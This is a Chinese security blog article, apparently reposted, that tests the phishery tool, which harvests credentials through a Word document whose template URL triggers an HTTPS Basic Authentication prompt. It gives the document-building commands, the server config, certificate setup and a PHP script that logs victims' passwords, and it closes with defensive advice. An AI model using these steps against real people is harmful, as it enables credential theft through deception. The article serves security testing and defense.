首页 » 网站建设 » 动态口令对接php技巧_Phishing credentials via Basic Authentication运用测试

动态口令对接php技巧_Phishing credentials via Basic Authentication运用测试

访客 2024-11-20 0

扫一扫用手机浏览

文章目录 [+]

phishery是一个大略的支持SSL的HTTP做事器,其紧张目的是通过基本身份验证钓鱼得到目标的凭据。

本文将要对其进行测试,先容测试细节,剖析实现事理,扩展用法。

动态口令对接php技巧_Phishing credentials via Basic Authentication运用测试

phishery地址:https://github.com/ryhanson/phishery

0x01 简介

本文将要先容以下内容:

phishery实际测试实现事理补充1: 利用openssh制作证书补充2: php实现Basic Authentication防御建议

0x02 phishery实际测试

测试系统: Win7x64

下载编译好的程序:

https://github.com/ryhanson/phishery/releases/download/v1.0.2/phishery1.0.2windows-amd64.tar.gz

1、天生word文档

phishery -u https://secure.site.local/docs -i good.docx -o bad.docx

参数解释:

https://secure.site.local/docs作为假造的web做事器地址,docs为文件名称(该文件必须存在,默认对应文件template.dotx),目标用户在打开bad.docx时,会显示该域名good.docx为输入的word文档,文档为正常内容bad.docx为输出的word文档,在good.docx中插入Word document template

如下图

2、启动HTTPS Auth Server

phishery

默认加载的配置文件为同级目录下的settings.json

内容如下:

{ \公众ip\公众: \"大众0.0.0.0\公众, \"大众port\公众: \公众443\公众, \"大众sslCert\"大众: \公众server.crt\"大众, \"大众sslKey\"大众: \"大众server.key\"大众, \"大众basicRealm\"大众: \公众Secure Document Gateway\"大众, \"大众responseStatus\公众: 200, \"大众responseFile\公众: \公众template.dotx\"大众, \"大众responseHeaders\公众: [ [\"大众Content-Type\"大众, \"大众application/vnd.openxmlformats-officedocument.wordprocessingml.template\公众] ]}

注:

server.crt和server.key为工程中包含的测试证书文件,后面会先容证书文件的天生方法

默认将获取的目标用户凭据保存在文件credentials.json

程序运行如下图

3、欺骗目标用户点击bad.docx

目标用户须要知足以下条件:

(1)能够解析域名

可选择以下三种方法:

方法1: 通过域名供应商,将域名解析到HTTPS Auth Server的IP地址

域名须要具有欺骗性

方法2: 修正网关的配置,将域名解析到HTTPS Auth Server的IP地址

须要得到网关配置的修正权限

方法3: 修正目标用户测试环境的hosts文件,将域名解析到HTTPS Auth Server的IP地址

仅作测试

注:

直策应用IP也可以,但是不具有欺骗性

(2)信赖HTTPS Auth Server的证书文件

可选择以下三种方法:

方法1: HTTPS Auth Server的证书文件由威信CA机构颁发,目标信赖该CA机构

将csr文件发送给CA机构进行校验,若审核通过,CA机构利用自己的私钥对csr文件进行署名,天生证书文件(.crt文件)

方法2: 利用可信的证书

方法3: 目标用户添加对证书的信赖

将自署名证书安装到受信赖的根证书颁发机构

如果目标用户不信赖HTTPS Auth Server的证书文件,在打开文档时会弹出提示,如下图

只有用户选择Yes,才会弹出输入凭据的对话框,如下图

对话框中的域名同假造的web做事器地址相同

目标用户输入凭据后,HTTPS Auth Server得到用户输入的凭据,如下图

接下来,显示word文档的正常内容

0x03 实现事理

1、Basic Authentication

客户端在访问做事器时,如果做事器返回401 Unauthozied,并且Response的header为WWW-Authenticate: Basic realm=\公众xxxx\"大众

客户端将自动弹出一个登录窗口,哀求用户输入用户名和口令

例如,通过IE访问https://secure.site.local/docs,弹出对话框,如下图

客户端输入用户名和口令后,将用户名及口令以base64加密办法加密并发送

2、Word文档的Word document template

Word文档的Word document template可插入URL,在打开Word文档时,自动访问该URL

注:

必须为https,不支持http

查看方法:

开拓工具->加载项

如下图

注:

Excel和PowerPoint无法利用这个方法

3、做事器吸收,base64解密得到用户名和口令

对应程序源代码:

https://github.com/ryhanson/phishery/blob/master/phish/phishery.go#L50

0x04 补充1: 利用openssh制作证书

1、安装openssh

Ubuntu:

sudo apt-get install openssl

Windows:

下载Apache,地址如下:

http://httpd.apache.org/download.cgi

安装Apache后默认安装openssl,位于\Apache24\bin

2、天生私钥文件test.com.key和证书署名要求test.com.csr

参数如下:

openssl x509 -req -days 3650 -in test.com.csr -signkey test.com.key -out test.com.crt

如果证书短缺主题备用名称SAN (Subject Alternate Name),须要通过配置文件进行添加

参考资料:

https://support.citrix.com/article/CTX135602_

新建文件req.cnf,内容如下:

[req]distinguished_name = req_distinguished_namex509_extensions = v3_reqprompt = no[req_distinguished_name]C = USST = VAL = SomeCityO = MyCompanyOU = MyDivisionCN = test.com[v3_req]keyUsage = critical, digitalSignature, keyAgreementextendedKeyUsage = serverAuthsubjectAltName = @alt_names[alt_names]DNS.1 = test.com

注:

CN和DNS.1都须要设定为域名(测试域名为http://test.com)

天生私钥和自署名证书:

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout test.com.key -out test.com.crt -config req.cnf -sha256

更多参数的细节可参考之前的文章《CIA Hive Beacon Infrastructure复现2——利用Apache mod_rewrite实现https流量分发》

0x05 补充2: php实现Basic Authentication

1、phpstudy开启ssl

(1)修正apache目录下的httpd.conf配置文件

定位#LoadModule ssl_module modules/mod_ssl.so,去掉注释符#

# Secure (SSL/TLS) connections下添加一行Include conf/vhosts_ssl.conf

(2)在conf文件夹下创建文件vhosts_ssl.conf

内容如下:

Listen 443SSLStrictSNIVHostCheck offSSLCipherSuite AESGCM:ALL:!DH:!EXPORT:!RC4:+HIGH:!MEDIUM:!LOW:!aNULL:!eNULLSSLProtocol all -SSLv2 -SSLv3<VirtualHost :443> DocumentRoot \公众C:\WWW\"大众 ServerName test.com <Directory \"大众C:\WWW\"大众> Options FollowSymLinks ExecCGI AllowOverride All Order allow,deny Allow from all Require all granted </Directory>SSLEngine onSSLCertificateFile \"大众C:\Apache\conf\ssl\test.com.crt\公众SSLCertificateKeyFile \公众C:\Apache\conf\ssl\test.com.key\公众</VirtualHost>

(3)重启phpstudy

访问https://127.0.0.1,验证

2、php实现Basic Authentication,记录用户口令

php代码如下:

<?phpif(!isset($_SERVER['PHP_AUTH_USER']) or !isset($_SERVER['PHP_AUTH_PW'])){ file_put_contents(\公众log.txt\公众,\"大众ClientIP:\公众.$_SERVER['REMOTE_ADDR'].\"大众\r\n\"大众,FILE_APPEND);header('WWW-Authenticate: Basic realm=\公众Document Security\公众');header('HTTP/1.0 401 Unauthorized');}else{file_put_contents(\"大众log.txt\"大众,\"大众ClientIP:\"大众.$_SERVER['REMOTE_ADDR'].\"大众,\"大众.$_SERVER['PHP_AUTH_USER'].\"大众:\"大众.$_SERVER['PHP_AUTH_PW'].\公众\r\n\"大众,FILE_APPEND); print \"大众File Not Found\"大众;}

代码实现了记录用户口令并写入文件log.txt,返回用户的内容为File Not Found

注:

该php脚本可以作为phishery的HTTPS Auth Server

通过php实现Basic Authentication,如果不该用https,弹出的对话框会多一些提示,如下图

如果不该用https,无法作为Word document template插入Word文档

0x06 防御建议

检测到的实际攻击活动:

https://researchcenter.paloaltonetworks.com/2018/08/unit42-darkhydrus-uses-phishery-harvest-credentials-middle-east/

结合本文的剖析和实际攻击活动的细节,给出如下建议:

正常word文档很少会哀求用户输入凭据对域名的证书进行检讨(针对https)对域名进行识别,是否是假造的域名

0x07 小结

本文对phishery进行测试,先容测试细节,剖析实现事理,补充了php实现Basic Authentication的方法,末了给出防御建议

个人认为phishery的另一个浸染:将内网的一台Windows主机作为做事器,用于记录目标输入的凭据

作者:3gstudent

欢迎来安全脉搏查看更多的干货文章和我们一起互换互动哦!

脉搏地址:安全脉搏 | 分享技能,悦享品质

微博地址:Sina Visitor System

标签:

相关文章

上海IT社区,汇聚创新力量,引领行业未来

随着我国经济的快速发展,信息技术产业在国民经济中的地位日益凸显。上海,作为我国经济、金融、贸易、航运和科技创新中心,IT产业发展尤...

网站建设 2024-12-28 阅读0 评论0

上海阿里IT,创新驱动,引领未来智能发展

随着科技的飞速发展,我国在人工智能、大数据、云计算等领域取得了举世瞩目的成就。上海阿里IT作为国内领先的互联网技术公司,以其创新驱...

网站建设 2024-12-28 阅读0 评论0

东莞华为IT,创新驱动的智慧城市典范

近年来,随着信息技术的飞速发展,我国城市信息化建设取得了显著成果。东莞华为IT作为智慧城市建设的典范,以其创新驱动的发展模式,为我...

网站建设 2024-12-28 阅读0 评论0

电动机CMS,驱动未来工业革命的智慧引擎

随着科技的飞速发展,电动机在工业、交通、家电等领域扮演着至关重要的角色。在众多电动机品牌中,CMS(中车电机)以其卓越的品质、领先...

网站建设 2024-12-28 阅读0 评论0